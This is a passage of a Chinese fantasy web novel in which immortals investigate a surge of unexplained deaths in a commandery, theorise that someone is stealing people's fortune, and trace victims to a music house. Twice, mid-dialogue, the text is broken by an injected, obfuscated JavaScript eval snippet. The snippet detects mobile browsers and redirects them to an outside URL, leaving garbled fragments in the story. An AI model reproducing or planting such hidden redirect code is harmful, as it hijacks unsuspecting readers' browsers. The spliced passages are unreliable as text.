若幕后黑手不是为了削弱天地之灵或屠杀取乐,那便只剩修炼邪术这一种可能了。若有妖灵心生歧念欲走邪修之路,或许会施行夺人性命炼化以增自身功力这一旁门左道之术。 然此术实乃伤天害理之道,即便是妖、魔、幽冥三族,大多也对修炼此邪术者多怀不齿。是以修炼此术者多为急功近利之辈,其修为却高深莫测,且擅于隐匿行迹、掩藏气息,以免被他人所察觉。 但以青晏的修为,若她沉下心来仔细探查,除修为超群者外,几无可逃脱之辈。所以很快,隐匿在承安郡中各种非人气息便皆被她一一觉察。 依旧是没有任何魔气,只是逐渐呈现出了浓厚程度不一的妖气。可就连其中最为浓郁的几道,观其修为也都没有超过千年,显然不足以造成承安郡内如此混乱的局面。 她不死心地又试了几次,结果依旧如此,只得收回灵识,坐在山顶发呆。 怎会如此?无论怎么探查,仍未能发现任何足以引发天灾或残害生灵的魔气、妖气或幽冥魂气的踪迹。究竟是承安郡确实没有这样的邪祟之辈,还是他们修炼已臻化境,需要更高修为的仙家方能探查出来?难不成他们得到了什么可以完全隐匿气息的神器法宝,或是已经停手,提前离开了这个是非之地? 青晏的思绪蔓延着。 自然,这些祸乱也有可能和外界并无直接关联,兴许部分事情是人族自己做下的也未可知。自古以来,天灾人祸往往与皇权更迭有所牵连,这百年间的年号也确实随着灾祸不停更替。而为谋求私利而相互残杀,在任何地方皆不足为奇。 青晏正在沉思若是凡人想造成这些状况大概都需要采取什么方法之际,忽然意识到面前的日头已经开始西沉,是时候回去与其他几人汇合了。她消散了自己的施法印记,又清除掉自己的足迹,方才悄然离去。 在她走后,峰顶巨石不远处一颗平平无奇的小草仿佛感知到了什么一样,轻轻摇曳几许,随后逐渐枯萎、变黑,最终化为一缕黑烟,渗入地面。 等青晏回到客舍时,其余几人已在大堂内的一张雕花木桌前坐着等她了,这次桌前倒是没有茶点,只有两大盘瓜子。明煦拍了拍手上沾的瓜子灰,伸手给青晏拉开椅子:“回来的路上又去看风景了?” “也可以这么理解。”青晏坐下给自己斟了杯茶,“晚上想吃什么?我请。” “嘿,你怎么知道我在想吃的?”明煦乐不可支,“我才刚问了街边胭脂坊掌柜的哪家饭馆好呢。” “又不是刚认识你第一天。哪家店?” 明煦起身:“她说西街最边上那家郭记酒肆好吃得很,是家三十年老店,他们也经常去的。走吗?” 见青晏点头同意,一行人起身朝门外走去。 在郭记酒肆落座后,店小二手脚麻利地给他们倒着茶水:“几位客官,来点什么?现在正是鲢鱼的好时节,店里鱼丸汤的丸子全都是用鲢鱼做的,是我们店的招牌菜之一,几位要不要试试?” 明煦问道:“你们店里还有什么招牌菜呀?” “哎呦客官那可多了,咱们店经营了三十多年,这菜呀是一直精益求精,道道都好吃,道道都敢当招牌!您几位爱吃些什么,得意什么口味,我给您推荐几道,保您满意!” “好好好,那就先来份这个鱼丸汤,再来两道辣的,两道酸甜的,两道……”明煦转转眼睛,捻着手指琢磨起来。 “再来一个炖菜,外加份排骨,蒜香或甜辣都可;主食油煎猪肉豆腐包子和糖饼各一份,米饭两份;饭后冰镇甜汤、冰豆浆、酥饼、蜜饯各来一份。”颜故极为自然地接道。 他看向桌边齐刷刷注视着他的青晏明煦和唐禾:“按照大家的喜好随便点了些,有什么菜是需要换的吗?” 三人缓慢摇头。 “得嘞!”小二唰唰几笔写完单子,临走前还特意道歉说今日人多上菜可能会慢,多有得罪希望见谅,却见桌边几人对他的话并没什么反应,便转身往厨房快步去了。 唐禾双眼放光:“天呐颜故兄,怎么过了这么多天你还记得我爱吃什么,我,我只在第一次来玄镜宫吃饭的时候说过一次!” “嗯?除了油煎猪肉豆腐包子之外还有什么是你爱吃的吗?我就记得这一个你爱吃的,因为这个我没吃过,还挺感兴趣来着。”明煦疑惑道。 “还有蒜香排骨,冰豆浆,其实炖菜我也爱吃的,但是刚来那天忘说了。”唐禾往颜故的方向凑了凑,“颜故兄,你是怎么知道的?” “这段时日咱们均在一起吃饭,看多了就知道了。”颜故笑道,“桌上有炖菜时,你吃别的菜便会吃得少些。” “我呢我呢?”明煦急切道。 “你爱吃辣,还爱酥饼,平日里都是用饭下菜,很少吃别的主食。但若是有糖饼,便几乎不吃米饭了。” “她呢她呢?”明煦一指青晏。 “爱吃酸甜口味的菜,多以米饭就着吃。饭后喜欢喝些冰凉的甜汤,偶尔也愿意来点蜜饯,只要糖腌不要蜜腌。”颜故笑吟吟地,“秦公子很嗜甜啊。” “确实吃不了苦。”青晏道。 “不过短短几日……”明煦摸着下巴啧啧称奇,“你小子观察力可以啊。” 她轻拍一下桌子,“我决定加点难度。你说说看,如樱和如桃爱吃些什么?” “如樱不吃芫荽,不过一直都是把自己碗里的挑出去而不是让厨房单独给她分一份,只有喝汤的时候会额外准备一碗出来;如桃除了爱吃海鲜外,其他倒是没有什么特别的偏好,各菜色都吃些。”颜故对答如流。 明煦以手拄脸,叹道:“我服了,我彻底服了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988136|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 很快她又高兴起来:“就你这眼力,我不信有什么事儿能逃过去,那咱们这次游历岂不稳了?小唐,咱抓紧多跟人学学,观察力这块,我看咱俩都得加强。” 唐禾认真地点了几下头。 青晏眼神微动,轻声问道:“怎么没点些你自己想吃的?” “我也和如桃差不多,对美食没什么特殊追求,什么都吃。”他对青晏笑笑,“苦也能吃。” 青晏轻笑着白他一眼。 不多时,小二将一大碗鱼丸汤放到了他们桌上,道了句客官请慢用后又火急火燎地走了。青晏尝了一勺那鱼丸汤,果然如小二说的一般,汤汁鲜甜顺口,鱼丸劲道十足,之后上的几道菜也均是色泽鲜艳,口感上佳。明煦边吃边感叹自己运气真好,就连随便打听到的一家酒肆都能做出如此美味佳肴。 就在众人大快朵颐时,一道带着几分兴奋的声音在他们耳边响起:“哎,李兄,你听说了吗,东街原来那家叫醉烟楼的乐楼让人盘下来了,重新挂了名字叫仙音阁,下个月就要重新开业了。据说花大价钱新请了好多乐师,都有原来在宫里专门给皇上奏乐的呢!” 青晏抬眼看去,说话之人乃是他们对桌一位身穿深蓝衣袍的中年男子,而他同桌那位与他年龄相仿的锦衣男子此时正对刚才那番话嗤之以鼻:“净胡扯!皇上的乐师谁能请得动,有几个脑袋?” “所以说,”深蓝衣袍的男子将声音压得更低,“我猜啊,如果真有宫里来的乐师,那这仙音阁的新东家肯定不是普通人,搞不好就是哪个王公贵族。” 锦衣男子琢磨道:“王公贵族不在京城享福,居然来咱们这地界开乐楼?不会也是为了讨那柳滢容的欢心吧?” “这小弟可就不知道了,但我家账房有个同乡就在那做木工活,说整个乐楼的格局都改了,台子大了不少呢!” “那还真应该去开开眼界,也不知道票价几何?” “票价这种事还需要你李大掌柜操心?”蓝衣男子与他碰了杯酒,“承安郡里谁不知道你家绸缎生意做得风生水起,你就别在这谦虚啦!而且呀,小弟之前就托人安排了几张票,李兄若是感兴趣,开业时咱们不妨一同前去?” “那就谢过刘老弟了,今儿这顿饭老哥请!”锦衣男子豪爽道。 蓝衣男子急忙拒绝道:“这说的是哪里话,来之前说好是我请!” 他们二人连番推让起来。明煦津津有味地看了一会儿,突然传念给青晏道:“你看那个刘老弟,动作大开大合的,我感觉他应该是个敞亮人。” 青晏传念回道:“你居然也会识人之术了?哪里学的?” “最近恰好看了一个澈樾从人界带回来的话本而已,里面没少提这些。” “不错,澈樾这话本找得好,给他记上一笔大功。” “我要闹了。我还又多了个本事呢,怎么不给我也记一笔?” “给你套笔墨纸砚,你随便记。” “那不好,得你记的才算数。” “我懒得动笔,你记的我也认,这还不好?” “你认就行,我现在就要兑现。咱哪天挑个不忙的时候看出戏去吧?天界的戏班子演的那几套玩意儿多少年都不换,早看腻了。” 青晏想了想,觉得倒也不是不可行,便点头应允了。 颜故看看正在悄悄传音的青晏明煦,又扫了眼埋头吃得正香的唐禾,垂睫笑了笑,把本来想说的话咽了下去,安静地喝着面前的冰镇甜汤。 11. 棘手 回到客舍时,夜色已浓,众人齐聚在颜故与唐禾所住的悠然居内。青晏将门窗都检查了一遍,又落下一个寂音结界,接着示意众人可以开始讲自己的发现。 明煦赶紧道:“我今日去找了承安郡的土地公,问他最近遇见什么怪事没。那老大爷跟我絮叨一天,说怪事他倒没注意,只是觉得虽然如今来土地庙里祭拜的人越来越多,但给他的贡品质量却越来越不怎么样。不过他也表示可以理解,因为这几年各地庄稼的收成都一般,虽说饿不死人吧,但也得精打细算着吃。况且承安郡的贡品已经比其他几个郡县的好不少了,他很满意。” 唐禾接道:“我今天在集市外面支了个摊子,装作是卖自家菜地蔬菜的小贩,和大爷大娘们聊了会儿,也听他们聊到了粮食减产的事。说是前几年旱灾,今年又虫灾的,总是不太平。” 明煦疑惑:“我在的时候他们怎么不聊这么多,你这么受大爷大娘喜爱的?” “哪有,”唐禾咧嘴笑笑,“早上出摊买菜的人多,没时间聊,你去找土地公之后人也少了,这才开始聊的。” “你说总是不太平,他们可还提到还有什么别的不太平?”颜故忽然问道。 唐禾回忆着:“倒是没再提,他们借着这个不太平的话头感叹世事无常去了。我左边的大娘跟右边的大娘聊了好半天他们村那个老牛头,本来人如其名,都已经六十了,身体还壮得跟一头牛似的,自己一个人一天就能浇三亩地。结果这几年旱,今年又闹虫子,老牛头心里记挂着他那几亩田总去看,没想到摸黑回家的时候被一块石头绊倒,居然就这么碰死了,就昨天的事儿。” 青晏见颜故眉头拧起,问道:“你可是想到些什么?” “我今日去见了那个茶博士,从他那听了不少稀奇古怪的传闻。大部分都是没什么用的,比如供奉的祖先牌位莫名在午夜冒出幽光、买回家的绣品上的花鸟夜半总是会动等等。”颜故眼神微动,“但也有一些传闻能让我联想到唐禾所说之事。” “比如一个月前,南街的裁缝店主睡觉时忽然暴毙,家里人虽报了官,可仵作没能查出任何死因;上周,有一个书生半夜读书时突然被雷电劈死,这死法倒没那么稀奇,奇怪的是他书桌上都平日里堆得满满的,可尸体被发现时桌上却只剩下了一卷破破烂烂的古书,而整间屋子里所有的书籍也全都不翼而飞;又或是三个月前,一个官员在自家书房读书时意外被倒下的书架砸死,再加上唐禾所说的老牛头之死……” 颜故细细数着,而后抬眼看向青晏:“这些传闻只是较为离奇,所以才被茶博士说给我听,说不定还有更多没那么离奇的死亡淹没在街头巷尾。我在猜,承安郡内的意外死亡是不是有些多,也有些频繁?” 见青晏若有所思的样子,颜故道:“仙子今日所探,可是也与此猜测相符?” “真有邪祟在搞事情?”明煦惊道。 青晏沉思了片刻。 既然众人所查之事已和温隐的发现相符,他们已经知道承安郡内多了些意外死亡,不如索性将人界近年离世人数增多之事全盘托出,多几个人去查总归会快些。此事也与那封妖界家书也无甚关联,想来不会打草惊蛇。颜故又擅于推断,想来说不定会有些新的发现。 念及此,青晏开口道:“承安郡近年内的猝死和意外死亡之数确实有所增加,但是否为邪祟所为尚需查证。我今日去探查过承安郡的灵气,发现除了刚离世不久之人的幽冥魂气外,大多都是些仅能勉强自保的小妖。至于那些修为略深的大妖,修为也不足千年,魔气则更是丝毫也无。” “这些坏事如果都是一个大妖干的,那这不足千年的修为可承受不住不知道什么时候反噬过来的恶业。可如果说这些事是那一大堆小妖一人干一件,我也是不太信的,妖族里坏心眼的也没那么多啊,总不至于都跑承安郡来了吧。”明煦分析道。 颜故眼神微闪,突然对青晏道:“这现象是只有承安郡才有,还是整个人界均如此?” 青晏凝视着他:“为什么这么问?” 颜故眼神诚挚:“仙子方才只说今日去探查了灵气,却直接肯定了这种情况的存在,想必是之前便知道一些我们所不了解的事情。所以我在想,若是此现象仅限于承安郡,那查起来便容易得多,但若整个人界均如此,”他眉间微皱,“那事情便有些棘手了。” 青晏收回自己带着几分审视的目光,叹气道:“很不幸,事实就是如此棘手。” 她将温隐给的文册分发下去:“我昨日去见了人界驻令使官温隐灵君,据他所言,整个人界近些年来离世人数都在逐渐增多。恰逢我们正在承安郡,我便问他要了些承安郡内近百年的过世人口录载,以此地为引,看看能不能查出什么头绪来。” 唐禾翻开那只有寥寥数页的文册,刚在心里纳闷这如何装得下承安郡的百年记录,却发现这纸上的文字竟似能与他心意相通一般,随着他读过而消失,却又在回顾时再现。 “另外,这文册我已设限,只有你我四人可以翻看,其余人即使偶然拾得,也只能见到几笔孩童稚嫩字迹,不会放在心上。”青晏又道。 明煦边翻边道:“你什么时候去找的驻令使官,怎么没喊我们一起去呀?” 青晏云淡风轻:“昨晚睡不着,外出赏月的时候突然想起来的。” 颜故的视线从文册中微微抬起。 明煦不疑有他,随口念叨着:“又是赏月,那玩意儿究竟有什么好看的。” “整理思绪罢了,你也可以理解为发呆。”青晏扫视了一圈正在认真翻阅着的众人,“这文册只是个参考,大家若有什么别的方式可以查明,自然再好不过。” 唐禾犹豫着开了口:“既然人界离世的人数增多,为什么不直接去问幽冥界呢?所有亡魂都在他们那,如果有什么异常,他们应该最先发现吧?” “问题就在于,幽冥界从未反馈过有任何异常之处。”青晏蹙眉道,“这就说明,此事要么单纯是自然发生毫无疑点,要么幽冥界也可能参与其中。此时我们尚未有任何实证,贸然去问必会打草惊蛇。” “为什么是可能参与其中呢?”明煦问道,“如果幽冥界知情不报的话,他们肯定有问题呀。” 青晏无奈:“幽冥界做事一向按部就班,对于特殊情况反应速度奇慢,不然一万年前也不会那么轻易地被魔界关了冥门,所以目前很难说他们到底是尚未发现还是故意瞒报。不过如果日后我们有案可依,去问些事情倒是无妨。” 明煦眯眼沉思:“所以就是不能让他们知道我们知道,要就事论事才行。” “是不能让任何人知道我们知道。”青晏答道。 明煦“嚯”了一声,摩拳擦掌道:“这么刺激?喜欢了。” 青晏微笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988137|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一时间屋内极静,只有翻动书页的声音时不时响起。 颜故阅读速度极快,如同流水般掠过书页,几眼之间扫过全文后便无声地翻开下一页,有时还会停住片刻,似是在思考些什么,偶尔还会往回翻几页查阅;唐禾虽读得稍慢些,但瞧着神情是极为认真的,甚至还掏出一个小本子,时不时写上几笔;明煦平日里读的都是话本,自有曲折故事引着她看,如今看这如此枯燥的籍录对她来说多少有些折磨,遂眼神经常漫无目的地凝固在了一页上,许久后才反应过来,再度投身至浩瀚的书文中。 明煦强打精神又翻了几页文册,忽然道,“对了,我记得你之前跟我说过你原来跟你师父历练的时候逮到过一只杀人如麻的蝎子精,他是不是就是为了冲破修为上的禁锢才杀人的来着?” 青晏点头。 颜故思忖了片刻,从文册中抬头道:“仙子曾言承安郡内并无可为祸一方的妖魔气息,既如此,此事怕不是从前蝎子精那般情形。” “为何?”明煦好奇道。 “因为数量太多了,”颜故举起手中的文册,“我刚才大致看了一遍,近五十年内承安郡内猝死及意外死亡之数已远超历年平均,前前后后加起来应有近十万人了。什么邪祟需要炼化这么多条人命来冲破自己修为的禁锢?” 青晏手指轻敲着桌面:“当年那只蝎子精被捕后坦诚自己其实只需九十九条人命便能冲破禁锢,但他爱上了那种杀戮的感觉无法停手,便连杀了数百人。” “所以我猜测如今这般情况,有极小的可能是有一个修为极其深厚,需要突破的境界也极高,同时手中恰好有着可以隐匿气息的法宝的大邪祟,在整个人界不停穿梭,炼化人命以供己用。”颜故眸中满是思索,“这些条件要想全部满足,怕是有些过于苛刻,所以可能性更大的,是有一方势力,在为着自己的目的持续收集这些人的性命。其背后所图,怕是不小。” “害了这么多人的性命,很难让我不立刻怀疑起魔界来啊。”明煦眯眼道。 “也有可能是多了许多取人性命增长修为的邪修,”唐禾分析道,“虽然人界其他的情况还不知道,但承安郡这边的异常死亡如果不是细心盯着记录,怕是不容易被人发现。这些人做事,还挺隐蔽的。” 颜故想了想:“若以此手段害人,将所有逝者都伪装成意外身亡的样子,那么这些邪修虽依然逃不脱因果,但并不会惊动人界仙修及各路神仙,因此可以一直进行下去。此法纵然缓慢,却并非完全不可行。” “但这么做目的何在?”青晏问道,“邪修者多急功近利,如此一点点一个个地慢慢害人,倒不如寻块风水宝地闭关一段时间,说不定修为要比现在这样增进得更快,还不沾染性命因果,未来也不必担心恶业反噬。” “风水宝地没那么好找吧?”明煦歪头,“若是邪修多了,找风水宝地的时候说不定还要打一架呢。” 唐禾挠头:“我又想了想,我刚才说的那种情况虽然也不是完全不可能,但,为什么会突然多出那么多邪修?难不成是有一个大邪修前辈突然开始狂收徒弟,传授暗中害人的心得?就算是真的有,他这么做的目的又是什么呢?” 青晏眸光微动,缓缓开口道:“有没有可能,那些异常死亡的人一开始被夺走的并非性命本身,只是一旦没有了这个东西,就会导致他们无法寿终正寝?” 12. 焦灼 “比如魂魄?”明煦道。 唐禾逐渐张大了嘴,如梦呓般喃喃道:“……又比如福运。” 青晏神色一凛,沉吟片刻后道:“吸走福运并非直接害人性命,只是大增了此人面临风险的几率,比普通人更容易意外身亡,此举确实不易导致取人福运者的自身气息发生显著改变。若真如此,这些异常死亡至今没被其他人觉察,便能合理解释了。” “但吸走福运有什么用呢?”明煦感觉自己的脑子不够用了,“我从来没听说过用这种方式修炼的,不都是要吸走修为或者魂魄什么的吗,要福运干嘛?” 唐禾小声开口:“不会是为了再卖给其他凡人吧……” 明煦瞪大了眼睛:“还能这样?” “我也不知道是不是真的可以,但当年听那些前来我们门派道观供奉的皇亲贵胄表达过类似的意思。”唐禾转眸回忆着,“好像是什么求万千福运成功加身,心想事成一类的话。当时我没理解,只是觉得这话有点奇怪,不太像平日里其他人所求的东西。” “那人后来呢?”明煦问。 “当皇帝啦。”唐禾下意识地回答道。 下一瞬他猛地捂住嘴,随即迅速松开,震惊道:“不会就是因为聚集了这么多人的福运在他一个人身上才成为了皇帝的吧?” 青晏沉默了片刻,蹙眉道:“不是没有可能。世间万事万物,失之毫厘差以千里。也许仅需几个微小变化,此人便能由默默无闻的普通皇嗣变为皇位唯一候选。” 唐禾眼睛瞪得溜圆:“如果真是这样,那这一百多年来人界总是打仗,年号也一直在变,不会是他们都知道了这个门路吧?” “总不至于每个皇帝都买了吧。”明煦掰着手指头算了起来,“如果按照你刚才所说的‘求万千福运成功加身’,那差不多是几万人的福运够做一次皇帝。可这一百多年来换了十几位皇帝呢,如果他们皇位都是这么来的,怕是要消耗掉好几百万人的福运,这也太可怕了吧?” 颜故眸光一闪:“如果并非全然清空,而是仅留很少的一部分呢?仅剩的这些福运让他们不至于频频遇险,只是经常倒霉罢了。人们也只会觉得自己天生倒霉,或是最近正好走了霉运,不会多想。” 明煦恍然大悟:“你说的很有道理,我现在越琢磨越觉得就是这么回事儿。” “而且近五十年的死亡人数增加得明显比前五十年快,”颜故将文册翻得页页纷飞,“或许是知晓此法的人越来越多,又或许是……” 他话音猛地一刹,整个人直接凝在了原地。 明煦疑惑道:“怎么了?你倒是继续说啊?” “又或许是,有那么一个人,需成功借到千百万人的福运方能成事。”青晏轻声接过颜故的话来,“而他成事的心,愈发焦灼了。” 明煦与唐禾齐齐倒吸一口凉气。 “不会又是魔界吧?”唐禾忧心忡忡道。 “这事儿可比邪修取人性命增长修为可怕多了,”明煦感觉自己的头疼了起来,“起码原来你还能知道邪修这么做是为了什么,也知道该怎么对付他们。像现在这种什么都不知道才是最恐怖的,谁知道干这事儿的人到底要什么啊,把天炸个窟窿吗?” 青晏摇头道:“先不用想那么多,毕竟吸走福运一事目前也只是猜测。”她顿了顿,“况且……” “况且什么?”明煦感觉更加不妙了。 “况且,就算查出真的有那么一方势力在不断收集着福运,也不能排除有邪修正在害人性命增长修为、或是魔界正在意图卷土重来的可能,更别提说不定还有什么我们目前尚未想到的其他缘故。” “不过,”她看了看有些垂头丧气的明煦,“目前福运之说确实是一个更为合理的可能,我们不妨先从这个方向去查。” “得令!”明煦摩拳擦掌,“怎么查?” “太过久远的异常死亡怕是不好查,先从文册上最新的这批开始吧。”青晏望了望窗外愈发深重的夜色,“已经很晚了,我们把这些记录分一分便各自去休息,明日再查。” 片刻后,明煦带着自己那本划好范围的文册和青晏一起回了瑶台阁,一进门就十分得意地笑了两声。青晏不免觉得有些好笑:“什么事这么高兴?” “你有没有发现,小颜和小唐这俩孩子都挺有主意的,而且俩人擅长的方向好像还不太一样。颜故嘛,感觉什么都懂,脑袋转得特别快,心思也很细;但小唐兴许是因为之前一直在人界修行,他对于人间那些杂七杂八的事真的都好懂,今早在集市摆摊的时候活脱脱就是一个再寻常不过的淳朴菜贩,特别自在,完全看不出来平时那副乖巧可爱但却有点小心翼翼的样子。” “每个人的性子都不是一成不变的,身处的环境和面对的人都会有很大的影响,”青晏笑笑,“先不说别人,你面对宸景和面对我的时候,是同一个人吗?” 明煦颇为认同地点点头:“你面对外人的时候跟我认识的青晏也不是同一个人。他们都不知道你的好,但也不需要他们知道。” “我们毕竟与唐禾认识的时间还不长,又是他的前辈,他一时有些拘谨很正常。不过他跟你的话倒是不少,可见拜在你座下并没受什么委屈。” “那是自然了,我这么一个大好人,谁能在我这受委屈?”明煦一昂头,“说起来颜故也是跟你话更多,可见拜在谁座下就是会天然和谁更亲近些。” “所以你刚才笑那两声,是在高兴什么?” “我为很多事情高兴。”明煦的眼睛眨呀眨,“天界多了这么两个好孩子、这两个好孩子恰好拜在我们座下、我们俩也是好人不会耽误他们、这次游历大家都在出谋划策应该会很顺利……反正就是有很多可以高兴的事情。” 青晏笑着揉了揉明煦的头:“是啊,多好,天界的栋梁之材都在抽枝发芽呢。” --------- 之后的几天里,四人按照自己分配的异常死亡名单各处奔走着。颜故很快便查清了那天茶博士所提到的大部分诡异事件的真相。 比如那位被书架砸死的官员其实是被家中婢女蓄意谋害,而那被雷电劈死的书生在生前确实有过一阵十分倒霉的时光,那些不翼而飞的书籍也是被住在附近的猎户偷走卖掉,种种表现确实有些像是被吸走了福运,只有那睡梦中突然暴毙的裁缝店主的真实死因却迟迟未能查明。 其余人这些天来的收获也差不多。约有小半的意外死亡及猝死毫无疑点,也确实有零星的异常死亡是妖、邪修,以及冥魂所致。其余的异常死亡里,也有不少生前便频频倒霉的可怜之人,充分再次印证了他们之前提出的有一方势力在吸取凡人福运的猜测。 再剩下的那些,便是像那裁缝店主般丝毫查不出任何缘由的死亡。既没有任何走霉运的表现,也 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“我这里也有。”青晏点了点自己那本文册,“比如一个古玩铺掌柜与朋友相约踏青,不幸被不知何处窜出的发狂野狗咬伤,不治而亡。据那几位与他一同踏青的朋友称,那野狗像是眼中只有那掌柜一样对他不停撕咬,丝毫没有对他们几个造成任何伤害。更奇怪的是,那附近之前从未有人见到过这条狗,而事后这狗也并未在任何地方出现过。” “尸体也没人发现?”明煦问。 “没有。这狗来无影去无踪,仿佛在人世间唯一的任务便是要咬死那古玩铺掌柜一般。” “我怎么感觉,这些查不出来原因的异常死亡,好像要比吸取福运这件事更严重一点呢?都说知己知彼百战不殆,如今是光知己却毫不知彼,这仗可怎么打……”明煦嘀嘀咕咕起来。 “如今看来,除了确实有一方势力正在吸取福运外,还有至少另外一方在以一种奇特罕见的方式收割这些人的性命。”青晏思忖道,“可他们是怎么做到不留下任何施法痕迹的呢?” “会不会是有什么可以隐匿法力波动的法宝或者法术?”明煦问道,“能知道现有的此类法宝如今都在谁那,或者是都有谁会这样的法术吗?” “法宝和法术都有,但此类法宝比较珍稀,即便问也很难问到真实去处。”青晏道,“而隐匿法力波动的法术与施法者的灵力有关,是否能被勘破也要看探测者的灵力高低。我这边几个类似情况的死亡地点我均探过,没发现施过这样的法术。” “你那么强悍的灵力都没探出来,那想必确实没有这样的情况了。”明煦叹气。 “我排除这个可能倒不是因为我灵力高低的原因,”青晏摇摇头,“而是我感觉这么做非常不划算。要知道施展这样的法术所消耗的灵力并不算低,那么他所得到的魂魄或性命和这法术所耗的灵力相抵后还能剩下多少?” 她继续道:“更何况如果是我,就算一开始再小心谨慎,这么多年下来无人发觉也是会松懈的,那便更没有事事遮掩的必要了。” “可我们目前只是查了近一年内的异常死亡,并不清楚更久远之前的是否也是这般情况,”一直沉默着的颜故忽然道,“需不需要再往前查查?” “自然是需要的。”青晏认可他的想法,“不过目前,我想先看看近一年内这部分查不出原因的异常死亡之间,究竟有没有共通之处。” 13. 渐明 四人各自的文册内分别跃起数个名字,在半空中闪烁着熠熠光芒,放眼望去竟约有三百多个。 青晏将这些名字归拢在另外一本文册上,燃符向温隐传信,叫他备好这些人的一应生平记录。不多时,温隐便派了个小药童过来,在客舍柜台处给他们留下了一个小小的药包。 唐禾拿了药包回来,刚一解开捆着药包的绳子,里面呼啦啦倒出上百本籍录册子,差点把唐禾整个人都淹没在里面。青晏这次却是连一本都没打开,直接用灵力将这几百本籍录都扫了一遍。 空中每一个闪烁着的名字都仿佛感应到了什么一样,蔓延着细细的金线,将生平籍录里的文字一一扯出。从年庚籍贯、家世渊源,婚配子嗣,到敌友恩怨、嗜好习性、仕途荣枯,事业兴衰等基本信息一应俱全,密密麻麻,极易让人看花了眼。 颜故紧皱着眉头,视线在这些文字上扫来扫去。突然他神色一震,转头对唐禾道:“你方才所说的郡尉家的大儿子,是否叫吕应?” 唐禾点点头。 他又看向明煦:“药材商人家的小儿子,是不是叫宋泽?” “对。” “你是有什么发现了吗?”青晏问道。 “我这边的裁缝店主叫曹克,”颜故指了指远处那个浮动着的名字,“他们几人虽身份年龄各异,但观其喜好却有重叠。目前来看,他们几人均爱美食美酒,以及赏乐。” 他继续道:“民以食为天,大部分人都会对自己平日里的吃喝较为上心,喜爱美食美酒不算什么稀奇的爱好。然而赏乐一好并非极为普遍,我们目前所查出的异常死亡者却均有此爱好,我不是很相信这全然是个巧合。” “有道理。”青晏手指一动,部分名字从原先的排列中飞出,单独停在了房间的另一侧。唐禾查了查,惊呼道:“竟有四十八个人生前都爱赏乐?” “这比例不低了,确实值得一查。”青晏道,“福运的事,我会转告温隐灵君协查。这几百人的死亡真相,便由我们担负起来吧,先从这四十八人开始。” 人界福运持续多年被吸取一事确实可怖,也对人界生灵造成了极为严重的伤害,但此事既已有了定论,查起来总要比目前毫无头绪的几百个异常死亡来得容易些。更何况那封被缴获的家书中明确提到魔界或将再生事端,万一这几百人的异常死亡确与魔界有关,那便更需要她亲自查明了。 “我好像也发现了一个相似的地方,”唐禾看了一阵这些文字,眼前忽然一亮,“这四十八个人里,好像大部分人都是有头有脸的,没什么贫苦人家。” 明煦仔细一看,立即打了个响指:“对啊,要么自己或家里是当官的,要么就是做生意的,最差的也是个家里有四五亩地的富农。日子过得这么好,怎么没被那些吸取福运的人下黑手啊?” “想来那个势力也是会筛选的,若是这些人的好运已经所剩无几,恐怕便不会选择他们了。”青晏缓缓捻着手指,“这些有地位的人若是要赏乐,一般会去哪里?” 她想起前些日子在郭记酒肆对桌之人的交谈:“乐楼?” “对,”唐禾道,“我这几日留意了一下,承安郡内一共有五家乐楼,最火的那家叫醉烟楼,不过已经换了东家,重新挂名叫仙音阁了,就是那天咱们吃饭的时候听到的那家。我这几天还听说,原先最火的乐楼并不是醉烟楼,然而一年前一个叫柳滢容的乐师突然出现在承安郡,长得极美,又弹得一手好琵琶,可只在醉烟楼演出,所以这家乐楼便越来越火。” 颜故眸光中多了几分锐利:“既如此,这些人本就爱赏乐,这一年内必然会出入过醉烟楼。”他望向青晏,眉眼线条不自觉地柔和下来,“仙子怎么想?” “醉烟楼要查,但其余的四家也不能忽视,”青晏对唐禾问道,“醉烟楼什么时候重新开门?” “听说是三天后。”唐禾道。 “那我们继续分头行动。颜故去和那茶博士再打听一下醉烟楼和柳滢容,我负责两家乐楼,明煦与唐禾一人一家。” “我与仙子各负责一家吧?”颜故弯起眼睛,“与那茶博士聊天也用不上两天,不会耽搁的。” 青晏想了想:“视情况而定吧,茶博士那说不定能打听到什么重要线索,你先以他那边为主,若实在没什么可查的了再来寻我。” 颜故笑了笑,点头应允。 ------------- 两日后的夜晚,青晏一行四人再度聚集在悠然居,开始讨论起这段时间里自己的探查所得。 如他们事先所料,这四十八人里几乎大部分人都专门去过醉烟楼听柳滢容弹琵琶,只有六七个人没去过。不是他们不想去,而是相对而言囊中羞涩,负担不起柳滢容所出演场次那高昂的票价。 其余的四家乐楼自是也出现过这些人的身影,但多是按照离这些人住址的远近分布,每家不过零零散散十几人左右。比如那住在南街的裁缝店主曹克,曾经便常去南街的那家金鸾轩,直到后来柳滢容突然出现,这才改去醉烟楼挥霍。 颜故将从茶博士那打听来的传闻娓娓道出:“据茶博士说,那柳滢容不光面若桃李,声如玉碎,其琵琶技艺更是一绝,整个承安郡无一人可出其右,只需听过一次柳滢容所弹的琵琶,便再也听不进去其他人的了。故她一年前甫一登台便成了当时醉烟楼的众乐之首,想邀她单独献艺的人络绎不绝。这些人里自然不乏觊觎其美貌之徒,但亦有一部分是真心冲着她那炉火纯青的琵琶技艺相邀。” 